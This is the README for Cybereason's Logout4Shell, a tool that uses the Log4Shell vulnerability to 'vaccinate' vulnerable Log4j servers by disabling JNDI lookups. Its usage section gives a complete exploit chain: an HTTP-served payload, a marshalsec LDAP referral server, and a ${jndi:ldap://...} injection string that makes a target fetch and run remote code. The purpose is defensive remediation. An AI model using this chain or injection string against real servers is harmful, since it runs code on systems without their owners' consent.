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Logout4Shell

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Description

A vulnerability impacting Apache Log4j versions 2.0 through 2.14.1 was disclosed on the project’s Github on December 9, 2021. The flaw has been dubbed “Log4Shell,”, and has the highest possible severity rating of 10. Software made or managed by the Apache Software Foundation (From here on just "Apache") is pervasive and comprises nearly a third of all web servers in the world—making this a potentially catastrophic flaw. The Log4Shell vulnerability CVE-2021-44228 was published on 12/9/2021 and allows remote code execution on vulnerable servers.

While the best mitigation against these vulnerabilities is to patch log4j to 2.15.02.17.0 and above, in Log4j version (>=2.10) this behavior can be partially mitigated (see below) by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath.

On 12/14/2021 the Apache software foundation disclosed CVE-2021-45046 which was patched in log4j version 2.16.0. This vulnerability showed that in certain scenarios, for example, where attackers can control a thread-context variable that gets logged, even the flag log4j2.formatMsgNoLookups is insufficient to mitigate log4shell. An additional CVE, less severe, CVE-2021-45105 was discovered. This vulnerability exposes the server to an infinite recursion that could crash the server is some scenarios. It is recommened to upgrade to 2.17.0

However, enabling these system property requires access to the vulnerable servers as well as a restart. The Cybereason research team has developed the following code that exploits the same vulnerability and the payload therein sets the vulnerable setting as disabled. The payload then searches for all LoggerContext and removes the JNDI Interpolator preventing even recursive abuses. this effectively blocks any further attempt to exploit Log4Shell on this server.

This Proof of Concept is based on @tangxiaofeng7's tangxiaofeng7/apache-log4j-poc

However, this project attempts to fix the vulnerability by using the bug against itself. You can learn more about Cybereason's "vaccine" approach to the Apache Log4Shell vulnerability (CVE-2021-44228) on our website.

Learn more: Cybereason Releases Vaccine to Prevent Exploitation of Apache Log4Shell Vulnerability (CVE-2021-44228)

Supported versions

Logout4Shell supports log4j version 2.0 - 2.14.1

How it works

On versions (>= 2.10.0) of log4j that support the configuration FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS, this value is set to True disabling the lookup mechanism entirely. As disclosed in CVE-2021-45046, setting this flag is insufficient, therefore the payload searches all existing LoggerContexts and removes the JNDI key from the Interpolator used to process ${} fields. This means that even other recursive uses of the JNDI mechanisms will fail. Then, the log4j jarfile will be remade and patched. The patch is included in this git repository, however it is not needed in the final build because the real patch is included in the payload as Base64.

In persistence mode (see below), the payload additionally attempts to locate the log4j-core.jar, remove the JndILookup class, and modify the PluginCache to completely remove the JNDI plugin. Upon subsequent JVM restarts the JndiLookup class cannot be found and log4j will not support for JNDI

Transient vs Persistent mode

This package generates two flavors of the payload - Transient and Persistent. In Transient mode, the payload modifies the current running JVM. The payload is very delicate to just touch the logger context and configuration. We thus believe the risk of using the Transient mode are very low on production environments.

Persistent mode performs all the changes of the Transient mode and in addition searches for the jar from which log4j loads the JndiLookup class. It then attempts to modify this jar by removing the JndiLookup class as well as modifying the plugin registry. There is inherently more risk in this approach as if the log4j-core.jar becomes corrupted, the JVM may crash on start.

The choice of which mode to use is selected by the URL given in step 2.3 below. The class Log4jRCETransient selects the Transient Mode and the class Log4jRCEPersistent selects the persistent mode

Persistent mode is based on the work of TudbuT. Thank you!

How to use

  1. Download this repository and build it

    1.1 git clone https://github.com/cybereason/Logout4Shell.git

    1.2 build it - mvn package

    1.3 cd target/classes

    1.4 run the webserver - python3 -m http.server 8888

  2. Download, build and run Marshalsec's ldap server

    2.1 git clone https://github.com/mbechler/marshalsec.git

    2.2 mvn package -DskipTests

    2.3 cd target

    2.4 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<IP_OF_PYTHON_SERVER_FROM_STEP_1>:8888/#Log4jRCE<Transient/Persistent>"

  3. To immunize a server

    3.1 enter ${jndi:ldap://<IP_OF_LDAP_SERVER_FROM_STEP_2>:1389/a} into a vulnerable field (such as user name)

DISCLAIMER:

The code described in this advisory (the “Code”) is provided on an “as is” and “as available” basis may contain bugs, errors and other defects. You are advised to safeguard important data and to use caution. By using this Code, you agree that Cybereason shall have no liability to you for any claims in connection with the Code. Cybereason disclaims any liability for any direct, indirect, incidental, punitive, exemplary, special or consequential damages, even if Cybereason or its related parties are advised of the possibility of such damages. Cybereason undertakes no duty to update the Code or this advisory.

License

The source code for the site is licensed under the MIT license, which you can find in the LICENSE file.

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Use Log4Shell vulnerability to vaccinate a victim server against Log4Shell

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